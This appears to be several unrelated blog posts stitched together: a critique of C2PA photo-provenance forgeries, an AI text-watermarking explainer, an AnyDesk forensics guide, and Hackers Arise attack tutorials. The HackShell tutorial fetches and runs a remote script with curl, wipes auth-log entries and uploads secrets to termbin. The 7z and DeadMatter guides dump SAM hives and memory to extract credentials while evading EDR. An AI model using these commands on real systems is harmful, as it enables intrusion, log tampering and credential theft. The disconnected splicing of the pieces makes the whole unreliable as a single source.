   • Intermediate Certificate: Google's root issues an intermediate certificate. As far as I can tell, every Pixel device uses the same set of intermediate certificates.
   
   
   • Leaf Certificate: The intermediate cert issues a brand-new, single-use leaf certificate that is used to sign an individual image capture.
   
   Because every picture gets its own unique signing certificate, revoking the glitter-milk certificate only invalidated that one specific photo. This does not prevent retr0id (or anyone else with this exploit) from generating millions of additional forged images on that exact same compromised Pixel.

This signing approach, with unique signatures per picture, introduces serious problems:

• Ineffective Revocation: Google can only revoke certificates for forgeries that are actively discovered and reported to them. Unreported forgeries remain 100% valid.


• Denial of Service: An attacker running an automated batch script could sign millions of synthetic images. Reporting all of these intentional forgeries would likely swamp Google's certificate revocation infrastructure.
  
  (At the technical level: this is an attack against the ingest pipeline and OCSP signer; C2PA does not support CRLs for revocation. Google currently lacks a portal or documented process for users to submit individual forged photos for revocation. If Google were to build a portal without rate-limiting, it risks becoming a bandwidth/DoS problem on its own. If they add CAPTCHA or other throttling to protect the ingest pipeline, then known forgeries may not be submitted in a reasonable time, and humans could become discouraged. Moreover, bulk OCSP revocation could plausibly strain cryptographic signing throughput.)


• Verification Problem: When a user submits a picture to Google for revocation, how does Google know that it really is a forgery? With the glitter-milk example, we explicitly showed them how it was made. However, a malicious person could submit legitimate photos and claim they are forgeries. Google needs some way to identify whether a signed picture from a Pixel device is actually from the camera. This remains a hard problem. Depending on their implementation, Google could reject real forgery reports if the verification process is too strict or revoke legitimate photos if it's too lenient.
  
  
  • Without C2PA: Individual analysts must evaluate the media using whatever tools they have available.
  
  
  • With Google's C2PA signature: When someone submits a picture for revocation, the onus is on Google to provide the verification. (I suspect that nobody asked Google's legal department about whether the company wanted to be put in the position of validating all pictures.) Keep in mind: the entire premise of C2PA is that Google cannot otherwise verify whether a picture is authentic, so asking Google to verify whether a revocation request's media is real just restates the same unsolved problem.


• Painted Into a Corner: With the current architecture, Google cannot revoke the device's intermediate certificate without instantly invalidating every authentic, legitimate Pixel photo ever taken. Google's revocation approach effectively becomes all or nothing. In either case, they cannot stop one individual from creating signed forgeries.

Since the core exploit impacts Android's StrongBox and TEE architecture, revoking individual certificates does not resolve this problem. Revoking a certificate, only to have an attacker compromise the replacement certificate in the exact same way, is not an effective security solution.

By choosing privacy through single-use certificates, and without addressing local key abuse, Google created a system where revoking a compromised image is nothing more than security theater.

Real-World Problems

It is easy to treat "Glitter Milk" as an amusing and harmless proof-of-concept. But the implications of a broken content provenance model are anything but funny.



Image provenance is critical for determining whether the media represents something real or fake. Whether it's a political proof-of-life, images of war or strife, or even something less extreme, like an insurance claim, there are direct consequences from forged provenance.

• This Mitch McConnell picture has no camera-original metadata, but does include an XMP record showing that it was altered with an Adobe application hours before being released to the public. If someone replaced the metadata with fake Google Pixel information, and then had it signed by a real Google Pixel device, would it be more trustworthy?


• The second picture is from an artist who creates AI-generated pictures of life in Russia. If we removed the Facebook re-encoding artifacts and had it signed by a Google Pixel device, would you think it was authentic?


• The third picture is part of a product defect claim. Unlike the first two, this one isn't hypothetical: it carries a cryptographically-valid C2PA signature that genuinely came from a Google Pixel device. But now that we've shown that same "came from a camera" signature can be applied to non-camera media, should you trust it?

It's hard enough to debunk one false picture. However, with a little effort, a malicious actor could add in fake camera metadata and have it authoritatively signed by a trusted device. That significantly increases the effort to debunk a picture since it has the backing of Google's cryptographic signature as an unbreakable "official truth". (Remember kids: Strong cryptography over untrusted data does not make the data more trustworthy.)

Untrusted By Design

This glitter-milk picture demonstrates how any image can be assigned false provenance and signed with a cryptographically valid Google signature. Moreover, this problem also works in reverse: genuine photos with signatures can be easily dismissed as "just another C2PA forgery." Regardless of the ground truth, an analyst cannot determine if a picture is real or fake based on Google's implementation of C2PA; the signature effectively means nothing.

Google's initial announcement made some extraordinary claims that have failed to stand up to scrutiny:

• Claim: "Pixel and Android are bringing a new level of trust to your images with C2PA Content Credentials".
  
  Fact: The devices can be used to sign any file, real or fake, with legitimate C2PA-signed claims identifying that the media came from the camera. This does not introduce a new level of trust; it enables a new way to commit fraud and disinformation.


• Claim: "The Pixel 10 lineup is the first to have Content Credentials built in across every photo created by Pixel Camera."
  
  Fact: This is false. Nikon shipped C2PA Content Credentials in Z6 III firmware in late August 2025, weeks before Google's announcement. Days later, researcher Adam Horshack showed the camera could be used to sign arbitrary images, forcing Nikon to indefinitely suspend the service and revoke every certificate it had issued. Google isn't first; it's just the first to repeat Nikon's mistake with better marketing.


• Claim: "Pixel Camera app achieved Assurance Level 2 ... only possible on the Android platform."
  
  Fact: While they acquired Assurance Level 2 on paper, it appears to be absent from the implementation. Moreover, they stated that protecting the keys from signing arbitrary images is not possible ("Won't Fix (Infeasible)"), so whatever Assurance Level 2 is meant to guarantee, it clearly doesn't hold up in practice on the Android platform.


• Claim: "A private-by-design approach to C2PA certificate management, where no image or group of images can be related to one another or the person who created them."
  
  Fact: While true, this prevents them from revoking future pictures from a known-compromised device. A device that has been rooted and is generating signed forgeries can continue to operate unabated.


• Claim: "Pixel 10 phones support on-device trusted time-stamps, which ensures images captured with your native camera app can be trusted after the certificate expires, even if they were captured when your device was offline."
  
  Fact: While it is true that the Pixel 10 has a built-in trusted time-stamp service, that does not mean that it is only applied to "images captured with your native camera app". This claim is misleading.

In effect, Google's C2PA-enabled devices provide no reliable protections or 'truth' about the media -- and Google knows it.

Flawed Foundations

The problems detailed in this blog are not limited to the Google Pixel or its C2PA Assurance Level 2 rating. These problems are fundamental and impact other C2PA implementations. For example, Evergreen Labs has a C2PA Assurance Level 2 application called "GreenCheckmark" (screenshot) that can be used to sign any image or video as if it came from the device. However:

• C2PA's Conformance Program only checks the paperwork for compliance, not the implementation. In this case, the Conformance Program states that the app has Level 2 assurance.


• According to Evergreen Labs, the app received approval for Level 2, but only implemented Level 1. There is no C2PA-provided or user-identifiable information that identifies this discrepancy.


• Even if the app was fully implemented, Assurance Level 2 requires using Android's StrongBox/TEE, and Google already stated that it knows the environment does not provide adequate protections ("Won't Fix (Infeasible)").

GreenCheckmark isn't the point of failure here; failures are inherited from Google and C2PA.



If you still believe that C2PA works, then I have news for you: Scientists have created multi-colored sheep for dye-free yarn. According to Adobe Inspect (a conforming validator) and CAI Verify, this is legitimate "captured media" from a camera, signed by GreenCheckmark, and it is a Level 2 conformant application (screenshot). Similarly, YouTube's description reports that this video clip from the CGI movie "Big Buck Bunny" is signed by Evergreen Labs and "Captured with a camera" (screenshot).

The same class of vulnerability exists for Android and iOS (except that iOS is harder to root). Moreover, retr0id has additional working demonstrations from many other C2PA-enabled apps, including Proofmode (a Level 1 conformant app; see forgeries at Adobe Inspect and CAI Verify). To date, no C2PA implementations are immune to signing forged media.

We live in an era of deep skepticism, where public trust in visual media is at an all-time low. Proponents of C2PA argue that cryptographic signing solves this problem: if an official photo carries a valid, hardware-backed C2PA signature, the public can trust it. But the truth is that the C2PA signature carries no weight for providing any type of reliable authentication, validation, or provenance. Instead, it turns every device into a powerful tool for laundering disinformation as fact, which is worse than doing nothing.

Special thanks to retr0id, Shawn, and PASAWG for their assistance. All vendors whose products are shown signing forgeries in this blog were notified of the problem. Claude and Gemini were used to help write portions of the code for these demonstrations. (At one point, we had to pause for a few hours after running out of free tokens.) Getting root is hard. Writing the code to implement the vulnerability is a very low bar and can be done with an AI assistant.

Welcome back, aspiring cyberwarriors!

In one of our Linux Forensics articles we talked about how widespread Linux systems are. Most of the internet runs on Linux. ISPs rely on it for deep packet inspection, servers host sites on it. Cameras, routers and cash registers run Linux based firmware too. Critical infrastructure depends heavily on Linux as well, from gas stations to industrial control systems.

Master OTW has a great series showing how cameras can be exploited and later used as proxies. Once hackers control a device like that, it becomes a doorway into the organization. And if they’re Linux systems, that means they run Bash. Bash is already a powerful friend to admins and hackers, but we can make it even more stealthy.

We will look at HackShell today. It was built to upgrade your Bash environment during a pentest. HackShell was developed by The Hacker’s Choice and the tool is actively maintained. To evade detection, it loads entirely in memory and doesn’t need to write itself to disk. That reduces the number of artifacts left on a system.

Setting Up

Once you get a shell, load HackShell directly into memory:

bash$ > source <(curl -SsfL https://thc.org/hs)
# or
bash$ > eval "$(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"

You are all set. When it loads, it does some light enumeration to find details about the machine. This system had gs-netcat running as persistence.

If the compromised host doesn’t have internet access, for example when it sits inside an air-gapped environment, you can manually copy and paste the contents of the HackShell into /dev/shm. Old machines may have compatibility issues, to bypass them run these commands:

bash$ > bash -c 'source <(curl -SsfL https://thc.org/hs); exec bash'
bash$ > source <(curl -SsfL https://thc.org/hs)

Now we are ready to see what it’s capable of.

Capabilities

The developers of HackShell put a lot of thought into what you might need during a pentest. Many helpful commands are built directly into the shell. You can list these commands with xhelp.

We will walk through some of the most interesting ones. The main thing here is stealth. Many commands here reduce the amount of forensic evidence left behind.

Evasion

Here are some commands that will help you reduce your forensic artefacts. 

xhome

This command temporarily sets your home directory to a randomized path under /dev/shm. This only affects your current HackShell session and doesn’t modify the environment for other users who log in. Files in /dev/shm stay in memory and don’t persist across reboots.

bash$ > xhome

xlog

When hackers connect over SSH, their login events appear in the auth log and other places. HackShell can remove these events selectively.

bash$ > xlog '1.2.3.4' /var/log/auth.log

xtmux

Tmux is normally used by admins for long-running tasks. There you can manage multiple terminal windows and keep sessions running after disconnects. In our forensic cases we saw hackers wiping storage using dd inside tmux sessions. That way the system keeps erasing data even if the network connection drops.

This command launches an invisible tmux session:

bash$ > xtmux

Enumeration and Privilege Escalation

Once you’ve changed your home directory and cleaned the logs, you can learn more about the system you work with.

ws

WhatServer shows a detailed overview of the environment. It lists storage, active processes, logged-in users, open sockets, listening ports and more.

lpe

LinPEAS is well-known. It’s a privilege escalation auditing script. It’s frequently updated and often used by pentesters. HackShell can run it directly in memory.

bash$ > lpe

The script will find possible paths to privilege escalation. We already had root on this system, that’s why the output was so rich. But you can work with it under any user account.

hgrep

Credentials can sit in different files and configs. You can hgrep certain keywords to find those files.

bash$ > hgrep pass

This can speed things up.

scan

HackShell can scan hosts and print greppable output, that makes it easy to find open ports across the infrastructure.

bash$ > scan PORT IP

loot

That’s a really useful command. Loot searches through configs and known locations in an effort to find stored creds or sensitive data. It doesn’t always find everything, but it’s definitely worth giving it a shot.

bash$ > loot

If you don’t find much, use lootmore:

bash$ > lootmore

When results are incomplete, use CredsHound.

Lateral Movement and Data Exfiltration

Normally, you don’t exfiltrate data during a pentest unless it’s necessary to test the infrastructure. Mishandling exfiltrated data can expose sensitive information to the internet, which could violate your agreement with the client. Be careful.

tb

This command uploads content to termbin.com. Files uploaded this way become publicly accessible. This must be used with caution. 

bash$ > tb secrets.txt

After you extract data, delete the local copy:

bash$ > shred secrets.txt

xssh and xscp

These commands work similarly to SSH and SCP, but minimize exposure. Defenders may have automatic alerts set up for new SSH sessions, so careless movement can trigger an incident response. 

Connect to another host:

bash$ > xshh root@IP

Upload a file to /tmp on the remote machine:

bash$ > xscp file root@IP:/tmp

Download a file from the remote machine to /tmp:

bash$ > xscp root@IP:/root/secrets.txt /tmp

Summary

HackShell can make your Bash really stealthy. There’s still much more to explore in the tool. If you’re a defender, take the time to study it, see how it loads and find the servers it connects to. This can help you create useful IOCs and strengthen your detection.

If you like ethical hacking, you will enjoy our Cyberwarrior Path. This is a three-year training journey built around a two-tier education model. During the first eighteen months you progress through a big library of courses that develop that will develop your skills. Once those payments are complete, you unlock Subscriber Pro level training that opens the door to advanced topics. This structure was created because students asked for flexibility. You can keep growing and improving without carrying an unnecessary financial burden.

The post Linux: HackShell – Bash For Hackers first appeared on Hackers Arise.

I have a secret way to tell what's on people's minds: they all write to me about a topic. This time, there's a news article about the EU AI Act. The big requirement is in Article 50: Transparency Obligations for Providers and Deployers of Certain AI Systems. This recently became enforceable and requires marking AI-generated content:

2. Providers of AI systems, including general-purpose AI systems, generating synthetic audio, image, video or text content, shall ensure that the outputs of the AI system are marked in a machine-readable format and detectable as artificially generated or manipulated.

This is a problem for companies like OpenAI (ChatGPT), Anthropic (Claude), Google (Gemini), Microsoft, and Adobe. Each provides AI-generation services to people in the EU.

Article 50 does not mandate the use of watermarking. A company could use metadata, logging, fingerprints, or some other technique. However, watermarking is the approach that they all seem to be employing.

I previously documented how image-based watermarking is grossly inadequate. Through empirical testing:

• Google's Gemini has a 1 in 20 error rate, where it fails to detect its own watermarks. Moreover, the detection depends on how you ask the question. Uploading the same image twice with different prompts could generate different results.


• Adobe's TrustMark has a 10%-20% false-positive rate.


• Meta's Stable Signature has a collision rate of 1 in 4.

C2PA tries to resolve this by providing an authoritative claim from a known signer. However, I have repeatedly demonstrated ways to have false signatures applied to both real and fake pictures.

None of these image-based solutions are reliable. In some cases, you're better off flipping a coin. (Or for D&D players, rolling a die.) However, text-based content is special because there is no hidden metadata; you cannot store binary signatures between letters without being noticed. For this reason, many companies are focusing on AI-based text watermarking.

Use Your Words

The new panic? Anthropic and OpenAI will start marking text with an invisible watermark. A lot of people have asked me how this works.

Let's back up a moment. Watermarking is just another form of steganography. Over 30 years ago, there was a steganographic text system called 'texto'. This encoder works like Mad Libs. It has a list of sentences:

The _THING _ADVERB _VERBs to the _ADJECTIVE _PLACE.
I _VERB _ADJECTIVE _THINGs near the _ADJECTIVE _ADJECTIVE _PLACE.
Sometimes, _THINGs _VERB behind _ADJECTIVE _PLACEs, unless they're _ADJECTIVE.
Never _VERB _ADVERB while you're _VERBing through a _ADJECTIVE _THING.
We _ADVERB _VERB around _ADJECTIVE _ADJECTIVE _PLACEs.
While _THINGs _ADVERB _VERB, the _THINGs often _VERB on the _ADJECTIVE _THINGs.
Other _ADJECTIVE _ADJECTIVE _THINGs will _VERB _ADVERB with _THINGs.
Going below a _PLACE with a _THING is often _ADJECTIVE.
...

It also has a list of words. There are 256 'THING' words, 256 ADVERBs, 256 VERBs, 256 PLACEs, etc. It reads the file to encode, chooses a sentence pattern, and replaces the words accordingly. For example, if the first byte is 7, then it will choose the 7th THING word. The results look like gibberish, but it contains a hidden message:

The watch absolutely hugs to the messy moon. I lean cold caps near the sharp squishy planet. Sometimes, brushs love behind soft squares, unless they're lazy. Never move superbly while you're sitting through a yellow arrow. We surely keep around grey white deserts. While yogis deeply smell, the boats often keep on the unique dogs. Other squishy wet tyrants will count wistfully with shirts. ...

To decode it, texto identifies the words and maps them back to values.

Modern Words

The texto approach hides a binary message inside a text block. The AI approach to watermarking uses a similar concept, but the watermarking doesn't need to store a large binary message; it only needs to store a few bytes of data, a small semaphore, or a statistical bias. It can use the rest of the text to repeat the encoding over and over, making it easier to detect.

While texto was limited to 256 nouns, verbs, etc., AI can use a lot more than 256 words and a few fixed sentence patterns. In fact, they can build it into the entire decision tree!

The Kirchenbauer/KGW approach injects a detectable bias into the word selections. This has become the typical approach used today:

1. AI uses random numbers when making choices. This is why repeating the exact same prompt will generate completely different responses. However, for watermark encoding, it uses a secret key as a weighted random number seed.


2. The AI (LLM) approach generates text autoregressively, token by token (or word fragment by word fragment). At each step, it calculates a probability distribution over the entire vocabulary based on the preceding token.
   
   
   • Without watermarking: The AI model calculates a probability distribution over the vocabulary for the next word/token. It then chooses the next word/token based on some kind of sampling algorithm and a list of the most likely candidates.
   
   
   • With watermarking: The KGW solution uses the secret key to assign weights to the possible options. These are often called 'green' words and 'red' words. This biases the sampling algorithm so that it will prefer a green word over a red word. This doesn't exclude red words from being used; it just makes them less likely.

When decoding, the detector uses the secret information used by the generator to reconstruct the selection bias. It uses the preceding token(s) to re-generate the green list for the next token, then counts how many tokens fall into their respective green lists.

The detector usually has some kind of threshold function. For example, "80% green tokens" may be the minimum threshold for identifying the watermark. This is why more text is important to rule out false-positives; it is very possible for a few words in a sentence to have lots of green words, but very unlikely for an entire essay to be mostly green. In general, text from a human will fall far below the threshold for detection, while AI-generated watermarked text will have a detectable bias far above the threshold.

The Catch

Watermarked text has been demonstrated as feasible (at least more accurate than their image watermarking). However, it's far from perfect. The AI vendors have not disclosed their specific watermarking algorithms. While some variation of the Kirchenbauer/KGW approach is likely, it isn't the only option. But regardless of the option, they all have the same classes of weaknesses because they are all based on natural languages. This limits the set of words and available sentence structure choices. The fundamental problems include:

• Word Choice: The word selection can often be sub-optimal. If the AI starts sounding odd, then it's probably due to the weighted words.


• Repetition: The system cannot spot the watermark from one sentence. It needs a paragraph or more. This also means that it is more likely to be redundant, using the same sets of green words multiple times so that it can repeatedly spot the watermark and lower the likelihood of a false-positive.


• Coincidental: In a typical implementation, roughly half of the possible tokens are on the green list. However, it is very possible for a human to coincidentally write a few sentences or paragraphs that are more than 80% from the unknown green list.
  
  The root problem is that the detector must be probabilistic rather than absolute. A human-written passage can coincidentally produce a watermark-like statistical pattern. The detector must use a threshold that balances a trade-off between the false-positive rate and detection sensitivity.


• Translations: Not everyone is a native English speaker. (Or Spanish, Chinese, or whatever language you are writing in.) It is very common to see people use AI to translate text from their native language into the target language. However, the translations may end up watermarked. This can become a problem. For example, nearly every major academic publisher and scientific organization (including IEEE, ACM, Elsevier, Nature, and Springer) treats undisclosed AI-generated text as scientific misconduct. Many top-tier sci-fi and literary markets, like Clarkesworld and Asimov's Science Fiction, explicitly forbid AI-generated text. Wired and the Associated Press have similar blanket bans. If they use watermarking detection, then they may erroneously exclude participation from non-native English speakers.


• Training/Trained: AI learned how to write from humans, but humans learn how to write like those around them. With the younger generation (well, people younger than me) spending so much time interacting with AI systems, they will inevitably learn some of those odd wording styles. This will make real human text read more like AI, and could even appear weighted toward more green wordings.


• Versions: Today's AI uses today's watermarking approach. A newer AI system will need to use a revised approach. However, this can cause a problem when an old watermark is no longer detectable by a newer system. Moreover, many AI companies push out code changes without announcements. Text that tested positive for having a watermark yesterday may appear human-written tomorrow.
  
  In order to maintain backwards compatibility, the detector would need to know which model generated the text, which watermarking algorithm was used, which key/version, etc. This makes long-term detection much more complicated and unsustainable if there are rapid revisions.


• Paraphrasing and Removal Attacks: The original KGW algorithm was able to survive some paraphrasing attacks. (Is it called paraphrasing or plagiarism when you rewrite AI-generated text?) More advanced rewriting can remove the watermark. For example, passing the watermarked text through a lightweight local model, running it through a translator, or manually swapping a few synonyms may be enough to disrupt the green-token sequence and appear to be human-generated. As Google noted with their own SynthID-text system:
  

  [SynthID for text] performs well even under some transformations, such as cropping pieces of text, modifying a few words and mild paraphrasing. However, its confidence scores can be greatly reduced when an AI-generated text is thoroughly rewritten or translated to another language.



• The Editor Problem: Most professional writing organizations use human copyeditors to review the text, fix grammar, etc. Today, smaller organizations often rely on AI systems to act as proofreaders. The problem is that large text edits by AI systems can introduce watermarking into otherwise human-created text. (Full disclosure: Gemini and ChatGPT proofread this blog before my human editor received it. They each caught spelling errors and a few details that my human editor would have likely missed. However, there are no large AI-text edits in this blog.)


• Spoofing Attacks: Adversaries can reverse-engineer green lists or use watermarked text outputs to create false positives. This could be used to falsely accuse or frame human authors.


• Interoperability: Article 50 explicitly says that solutions "shall ensure their technical solutions are effective, interoperable, robust and reliable". However, every vendor is keeping their watermarking solutions private. That ensures that they are not interoperable. On the flip side, if they made the details public then it would assist competing detectors, simplify removal, and enable forgeries. (It's a no-win situation for the watermarking companies.)

While text-based watermarking is an interesting academic exercise, I question whether it is ready for widespread public dissemination.

The Compliance Paradox

The EU AI Act's Article 50 effectively writes a technological fantasy into law. It requires some way to mark, tag, or label synthetic text "in a machine-readable format and detectable as artificially generated or manipulated". These regulators have created a legal requirement for technology that simply does not exist in a reliable form today.

Ironically, the lawmakers added a caveat that solutions only need to be as "robust and reliable as far as this is technically feasible". This creates a bizarre paradox: companies are pressured to deploy flawed, easily bypassed schemes just to demonstrate legal compliance. We are left with regulatory compliance theater, where algorithms pretend to detect what cannot be reliably detected, and users are handed a false sense of security.

Welcome back, digital investigators!

AnyDesk was first introduced around 2014, and it very quickly became a popular RMM tool. It’s lightweight and easy to deploy. Those same qualities also made it attractive to hackers and APTs. Over the last several years, it’s become one of the preferred tools for maintaining persistent access to compromised systems.

Given that many admins use it legitimately, it’s common to find on corporate machines. All the hacker needs to do is gain access to the endpoint, change the AnyDesk password or configure a new access profile. This persistence often goes unnoticed for weeks or months. During that time the hacker can come and go as they please. Many organizations don’t monitor RMM logs at all, even when they have a mature SOC in place. We’ve seen companies with large infrastructures and centralized logging completely ignore AnyDesk connections. That gives hackers time to get ready for a ransomware attack.

We also see hackers modifying registry settings so the accessibility button at the Windows login screen opens a CMD prompt with the highest privileges. We showed this in our “PowerShell for Hackers – Basics” article. 

If you want to see how widespread this abuse is, look at recent reports on Russia.

Kaspersky has documented incidents where AnyDesk was used by hacktivists and ransomware groups during their operations. In the ICS-CERT reporting for Q4 2024, for example, Crypt Ghouls relied on Mimikatz, PingCastle, Resocks, AnyDesk, and PsExec. In Q3 2024, BlackJack used AnyDesk, Radmin, PuTTY and tunneling with ngrok for persistence across Russian government, telecom and ICS. And that’s just a glimpse of it.

With that in mind, we want to show you how to investigate a computer that was compromised through AnyDesk.

Log Files

Today we’ll focus on log files that can help you determine whether there’s been unauthorized access. These logs can show the hacker’s AnyDesk ID, their display name, their OS and IP address. The logs can also show whether there were attempts to upload files or exfiltrate them.

During incident response this insight is already valuable. On top of that, collecting these logs and ingesting them into your SIEM can help you generate alerts on night-time access.

Here are the log files and full paths that you will need for this analysis:

C:\Users\%username%\AppData\Roaming\AnyDesk\ad.trace
C:\Users\%username%\AppData\Roaming\AnyDesk\connection_trace.txt
C:\ProgramData\AnyDesk\ad_svc.trace
C:\ProgramData\AnyDesk\connection_trace.txt

AnyDesk can be used in two distinct ways. The first is as a portable executable. In that case, the user runs the program directly without installing it. When used this way, the logs are stored under the user’s AppData directory. The second way is to install AnyDesk as a service. When AnyDesk runs as a service, ProgramData will contain trace files. The AppData folder will still hold the ad.trace file. Together these files form the basis for your investigation.

Connection Log Timestamps

The connection_trace.txt logs are readable and give you a record of successful AnyDesk connections. Here is an example with a randomized AnyDesk ID:

Incoming 2025-07-25, 12:10 User 568936153 568936153

The real AnyDesk ID has been redacted. The log shows there was a successful inbound connection on 2025-07-25 at 12:10 UTC from the AnyDesk ID. This only confirms that remote access happened, but we can dig deeper using the other logs.

Finding Information About the Hacker

Now we can try to understand who the hacker might be. Although names, IDs and OS can be changed by the attacker at any time, patterns still exist. Most don’t constantly change their display name unless they are extremely paranoid. Even then, the timestamps do not lie. Remote logins occurring repeatedly in the middle of the night are a strong indicator of unauthorized access.

We will work primarily with the ad.trace and ad_svc.trace files. These logs are noisy, so it’s better to search for specific keywords:

PS > get-content .\ad.trace | select-string -list 'Remote OS', 'Incoming session', 'app.prepare_task', 'anynet.relay', 'anynet.any_socket', 'files', 'text offers' | tee adtrace.log

PS > get-content .\ad_svc.trace | select-string -list 'Remote OS', 'Incoming session', 'app.prepare_task', 'anynet.relay', 'anynet.any_socket', 'files', 'text offers' | tee adsvc.log

We filtered out only the most interesting lines and saved them into adtrace.log and adsvc.log

IP Address

In many cases, the ad_svc.trace log contains the external IP address from which the hacker connected. “Logged in from” has the IP next to it, while “Accepting from” has the AnyDesk ID. These values were redacted.

Once you have the IP, you can block it and remove the app from the host if it’s not necessary. Many of these unauthorized connections originate from VPN servers, of course. 

Name & OS Information

Inside ad.trace you will find the hacker’s display name after “Incoming session request”. Right next to that field you will see their AnyDesk ID. You may also see references to the hacker’s operating system.

Here the connection came from a Linux machine and they’d set their display name to “IT Dep” in an attempt to look legitimate.

Data Exfiltration

AnyDesk also supports file transfer both ways. Hackers can upload malware or exfiltrate sensitive company data directly through the session. In the ad.trace logs you will sometimes see references such as “Preparing files in …” which indicate file operations were taking place.

This line alone does not always tell you what exact files were transferred, especially if the hacker worked out of temporary directories. However, correlating those timestamps with Windows forensic artifacts can show exactly what the hacker copied.

In our case, files stored in the Documents folder were exfiltrated.

Summary

Given how widespread AnyDesk is, you should always treat its logs as high priority artifacts. AnyDesk is one RMM tool, and there are plenty more out there being actively abused for persistence. Make sure their logs are consistently collected and ingested into your SIEM so you can spot suspicious activity outside business hours.

If you’re interested in digital forensics, we recommend our training for both beginners and those looking to advance their forensic skills.

Our team also provides digital forensics services. If you need any support during an investigation, we’re always happy to help. Contact us at hackers-arise@protonmail.com

The post Digital Forensics: AnyDesk – Favorite Tool of APTs first appeared on Hackers Arise.

Welcome back, cyberwarriors!

The article on DeadMatter was really popular and relevant for many of you. DeadMatter works with LSASS and finds artifacts related to active or recently active sessions. But sometimes you need SAM hashes during a pentest.

Today we’re using 7z to find and pull the hives. It’s very common to find and it has raw disk access to fetch what we need without triggering the EDR. You can basically call it a living off the land technique due to its widespread presence. There are other ways to extract hashes, but most of them are well known and monitored. Some hackers rely on VSS and it works fine in some environments, but detecting VSS abuse isn’t hard. It’s a beginner level of complexity. VSS leaves very specific traces in the logs when you use it. Native Windows binaries get blocked outright and finding forensic tools already sitting on an endpoint is uncommon.

Credit where it’s due, Jonas Lyk shared this approach.

Extracting Hives

To make it work, you need to start 7z as Administrator, otherwise it just fails. Then you type \\.\ in the path bar and it’ll show you the drives.

Here we need PhysicalDrive0. You can’t copy it off the C:\ drive, because it’s locked by the system.

Inside you’ll see the partitions on the physical drive. Usually 1.ntfs has the structure of your C:\. 0.ntfs has $MFT, $J and the other files you want for a deeper dive. 

System hives live in Windows\System32\config

Select the hives you need and copy them to a folder. We’re only pulling SAM and SYSTEM here, but you can get SOFTWARE, $MFT, $J, and NTUSER.DAT if you’re doing behavioral analysis. We covered that in our article showing how much you can find out about a user after a compromise. Behavioral analysis is also useful in pentesting. NTUSER.DAT shows a lot about how the sysadmins use their machines.

File size shows the hives aren’t empty. Now we can move them to Kali and extract the hashes.

kali > impacket-secretsdump -sam SAM -system SYSTEM LOCAL

We got all the local user hashes. If LAPS isn’t enabled (in a lot of environments it isn’t), there’s a good chance the admin hash is identical across many machines. Some admins don’t even know LAPS exists, others are scared to turn it on because they’re not in control of the password rotation. Either way, SAM alone can be enough to compromise the whole domain.

Terminal

This approach hits a wall in the terminal. 7z can only parse physical disks and NTFS partitions through the File Manager GUI. The CLI version still can’t open nested partitions and throws an error every time. So the GUI is the only way you can pull it off.

There are forensics tools that do it in the terminal (AxiomSecret, RawCopy, etc.) but that’s a story for another day.

Summary

Many successful attacks use LOL techniques or signed tools. This approach is creative and 7z is already sitting on plenty of machines. Even if it’s not, bringing it over isn’t suspicious.

It won’t get you LSASS hashes, but the SAM hashes alone can be enough to compromise a company’s entire infrastructure. We showed that in our SCADA article, where the SCADA machine stored cleartext passwords in memory and password reuse helped us with the rest of the infrastructure during the pentest. LAPS isn’t hard to set up and it can close this door, so spend some time learning it.

If you like what we’re doing here and want to get started in Digital Forensics or advance your skills, we recommend our training for both beginners and more experienced students.

The post Digital Forensics: Attacking SAM and Extracting Hashes With 7z first appeared on Hackers Arise.

Welcome back, cyberwarriors!

During pentests, we often run into EDRs and antiviruses protecting endpoints. These mainly stop you from dumping hashes and running malware on the hosts. Although they’re often good at what they do, they still have flaws that make them vulnerable to chokers and killers that can terminate their process.

If you’ve ever tried dumping LSASS or extracting SAM and SYSTEM hives, you’ve seen the EDR block your attempts. There are legit ways to do it, for instance with reg.exe or Task Manager, but these have been abused for so long that they can’t be relied on anymore. Despite all that, dumping hashes is really easy if you do a complete memory dump with forensics tools and pull the hashes from the dump. These tools don’t just target LSASS, they do a full memory dump that includes everything. That’s what’s supposed to happen during incident response procedures, so nothing gets flagged and it won’t, because that would interfere with security work.

Today we want to show you how to use FTK Imager with DeadMatter to extract different credentials. FTK Imager needs a GUI, so if you don’t have it try running DumpIt from CLI instead. It’s available on GitHub.

What is DeadMatter

DeadMatter is written in C# and its whole job is to extract sensitive information from memory dumps. It scans raw data to find patterns associated with credentials, that way you can recover them even when the memory dump is incomplete or the format isn’t predictable. The tool is also lightweight and isn’t flagged by AV/EDR, so you can extract hashes on the victim machine directly without transferring these huge files around. The results include NTLM hashes, DPAPI keys, and other artifacts tied to logon sessions. The tool was first presented at Black Hat USA 2025.

Compiling DeadMatter

The repository for DeadMatter doesn’t include a precompiled binary and you will need to build it yourself. You can do it with Visual Studio or using the .NET Framework.

If you choose to compile it manually, you can clone the repository and execute the build process from PowerShell.

PS > dotnet build -c release

Once it completes, Deadmatter.exe will be in the bin\Release directory. The build process usually completes without issues, if you have the required .NET components installed correctly.

If you prefer not to compile the tool yourself or run into problems during the process, you can use our compiled version to save time. We uploaded the compiled executable to our GitHub.

Capturing RAM

Before moving forward, it is important to understand that this technique relies on the ability to extract credentials from memory, which is significantly affected by the state of Credential Guard. If Credential Guard is enabled, credentials are isolated and you won’t be able to access them.

But in many environments with Windows 10 Pro or Windows Server versions prior to 2025, Credential Guard is often disabled. These systems are still widely used across corporate infrastructures. Newer deployments usually have it enabled by default now. To avoid unnecessary effort you can check the status of Credential Guard before proceeding.

PS > Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

If it shows that it’s disabled {0}, you can proceed with memory acquisition.

We used FTK Imager to capture RAM. You just need open the app and click “Capture Memory”

Then you specify the name and the destination path. The default settings are enough.

Our next step is exfiltration. Modern systems often have large amounts of RAM. Servers commonly have 16-32GB as a baseline, and systems that have Microsoft Exchange may have significantly more. A raw memory dump of this size can be quite large, but you can compress it with 7z. It’s possible to reduce it from 32GB down to 12 GB, if you don’t want to run DeadMatter directly on the compromised system.

Extracting Credentials

Once the dump is transferred, you can extract creds. To process a full memory dump in raw format using structured parsing and carving, run this:

PS > .\Deadmatter.exe -f memory_dump.raw

The output is quite detailed. As you scroll through the results, you will find different credentials associated with active or recently active sessions on the system.

If you want to rely purely on carving methods, you can ignore structured parsing and search the raw data directly:

PS > .\Deadmatter.exe -f memory_dump.raw -m carve

When you work with a minidump file and want to use a specific parsing method, you can define the technique and the Windows version:

PS > .\Deadmatter.exe -f lsass.dmp -m mimikatz -w WIN_10_1507 -v

